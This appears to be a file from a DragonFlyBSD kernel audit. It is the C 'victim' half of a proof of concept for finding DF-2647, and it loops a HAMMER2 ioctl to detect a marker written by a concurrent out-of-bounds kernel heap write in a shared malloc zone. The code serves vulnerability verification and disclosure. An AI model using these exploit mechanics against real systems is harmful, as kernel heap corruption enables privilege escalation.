DragonFlyBSD Kernel Audit
DF-2647 / pfslookup_victim.c
← back to finding ↓ download raw
/*
 * DF-2647 surgical-demonstration victim. Loops HAMMER2IOC_PFS_LOOKUP on
 * the mounted (normal) filesystem. Each call kmallocs a 320-byte
 * M_IOCTLOPS buffer (512-byte malloc zone -- the SAME zone as the
 * attacker's hammer2_ioc_pfs buffer used by PFS_GET). If a concurrent
 * PFS_GET OOB write smears heap over this ioctl's parked buffer, the
 * marker stamp "DF2647!!" appears in the buffer that is copied back to
 * us -> proof of a controlled cross-object kernel heap write.
 *
 * usage: pfslookup_victim <mountpoint-dir> <seconds>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>

struct df2647_pfs {
	uint64_t	name_key;
	uint64_t	name_next;
	uint8_t		pfs_type;
	uint8_t		pfs_subtype;
	uint8_t		reserved0012;
	uint8_t		reserved0013;
	uint32_t	pfs_flags;
	uint64_t	reserved0018;
	unsigned char	pfs_fsid[16];
	unsigned char	pfs_clid[16];
	char		name[256];
};
#define DF2647_PFS_LOOKUP	_IOWR('h', 83, struct df2647_pfs)

static const char stamp[8] = "DF2647!!";

int
main(int argc, char **argv)
{
	struct df2647_pfs pfs;
	time_t t_end;
	int fd, i, j, iters = 0;
	char *hit;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <mnt> <seconds>\n", argv[0]);
		exit(2);
	}
	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	t_end = time(NULL) + atoi(argv[2]);
	printf("victim: running %ss\n", argv[2]);
	fflush(stdout);

	while (time(NULL) < t_end) {
		memset(&pfs, 'V', sizeof(pfs));
		pfs.name[0] = 'z'; pfs.name[1] = 'z'; pfs.name[2] = 0;
		pfs.name[255] = 0;
		ioctl(fd, DF2647_PFS_LOOKUP, &pfs);
		++iters;
		hit = NULL;
		for (i = 0; i < (int)sizeof(pfs) - 8; ++i) {
			for (j = 0; j < 8; ++j)
				if (((char *)&pfs)[i + j] != stamp[j])
					break;
			if (j == 8) {
				hit = (char *)&pfs + i;
				break;
			}
		}
		if (hit) {
			FILE *f = fopen("/tmp/victim_hit.txt", "w");
			printf("victim: MARKER HIT at buffer+%zd after %d "
			    "ioctls\n", (char *)hit - (char *)&pfs, iters);
			printf("victim: surrounding bytes:\n");
			for (i = 192; i < 320; i += 16) {
				int k;
				printf("  +%03d:", i);
				for (k = 0; k < 16; ++k)
					printf(" %02x",
					    (unsigned char)pfs.name[i - 192 + k]);
				printf("\n");
			}
			fflush(stdout);
			if (f) {
				fprintf(f, "hit_at_offset=%zd iters=%d\n",
				    (char *)hit - (char *)&pfs, iters);
				fwrite(&pfs, sizeof(pfs), 1, f);
				fclose(f);
			}
			exit(42);
		}
	}
	printf("victim: finished, %d ioctls, no marker\n", iters);
	return 0;
}